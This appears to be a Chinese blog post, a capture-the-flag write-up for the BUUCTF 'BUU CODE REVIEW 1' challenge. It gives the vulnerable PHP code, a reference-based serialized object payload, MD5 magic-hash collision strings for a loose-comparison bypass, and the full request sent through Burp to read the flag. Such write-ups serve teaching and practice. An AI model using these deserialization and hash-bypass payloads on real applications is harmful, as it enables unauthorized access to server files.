zoukankan      html  css  js  c++  java
  • PHP 反序列化利用

    1. 题目分析

    • BUUCTF Basic - BUU CODE REVIEW 1

    1.1 利用点

    <?php
    /**
     * Created by PhpStorm.
     * User: jinzhao
     * Date: 2019/10/6
     * Time: 8:04 PM
     */
    
    highlight_file(__FILE__);
    
    class BUU {
       public $correct = "";
       public $input = "";
    
       public function __destruct() {
           try {
               $this->correct = base64_encode(uniqid());
               if($this->correct === $this->input) {
                   echo file_get_contents("/flag");
               }
           } catch (Exception $e) {
           }
       }
    }
    
    if($_GET['pleaseget'] === '1') {
        if($_POST['pleasepost'] === '2') {
            if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
                unserialize($_POST['obj']);
            }
        }
    }
    

    利用点:

    • 反序列化
      一是构造序列化。
      二是看到 unserialize 方法,就知道是 PHP 反序列化利用。利用的是反序列化之后,对象销毁触发 __destruct函数的执行,从而得到 flag。
    • post 传参
      同时在 URL 中传递 pleaseget 这个参数。
    • 构造 md5 值相等
      找两个不等的字符串,但是它们的 md5 值相等。
    • 引用赋值
      correctinput 采用引用赋值,才能让 inputcorrect 一起改变。

    1.2 Payload 构造

    1.2.1 构造序列化,引用赋值

    根据 BUU 类的定义,构造一个序列化字符串。
    注意要把 correct 的引用赋给(&$obj->correctinput,这样 input 作为 correct 的一个别名,二者用 === 进行比较的结果必定为 True。

    class BUU
    {
        public $correct = "";
        public $input = "";
    }
    
    $obj = new BUU();
    $obj->input = &$obj->correct;
    print_r(serialize($obj)); # O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
    

    1.2.2 md5 相等绕过

    一些特殊字符串,经过 md5 之后若以 0e 开头,同时用 == 进行比较(用 === 比较结果为 False),那么结果会为 True。

    <?php
    $a = "s878926199a";
    $b = "s155964671a";
    
    print_r($a . "-->" . md5($a) . "<br>");
    print_r($b . "-->" . md5($b) . "<br>");
    
    if (md5($a) == md5($b)) {
        print_r("OK" . "<br>");
    }
    
    // s878926199a-->0e545993274517709034328855841020
    // s155964671a-->0e342768416822451524974117254469
    // OK
    

    还有其他 md5 绕过的技巧,参见链接[1]

    1.2.3 构造 post 参数

    综上,Payload 构造如下

    get: pleaseget=1
    post: pleasepost=2&md51=s878926199a&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

    2 利用

    2.1 Burp 修改 Payload

    image
    因为后台要获取 post 参数,所以先将 get 请求修改为 post(post 也可以发送 url 参数),同时添加 get 和 post 参数,发送到 repeater。
    image
    点击 GO,发送请求,查看返回结果,可以看到 flag。
    image
    ps:有时用 repeater 发送之后,返回的结果中没有 flag。在 param 中随便把某个参数的未知上下(up/down)调整一下,返回的结果中就有了 flag。。。
    image


    1. https://www.cnblogs.com/ainsliaea/p/15126218.html ↩︎

  • 相关阅读:
    进程间通信的方式——信号、管道、消息队列、共享内存
    exit()与_exit()的区别(转)
    [Google Codejam] Round 1A 2016
    使用shell脚本自定义实现选择登录ssh
    PHP的反射机制【转载】
    PHP set_error_handler()函数的使用【转载】
    PHP错误异常处理详解【转载】
    php的memcache和memcached扩展区别【转载】
    .htaccess重写URL讲解
    PHP数据库扩展mysqli的函数试题
  • 原文地址:https://www.cnblogs.com/ainsliaea/p/15120263.html
Copyright © 2011-2022 走看看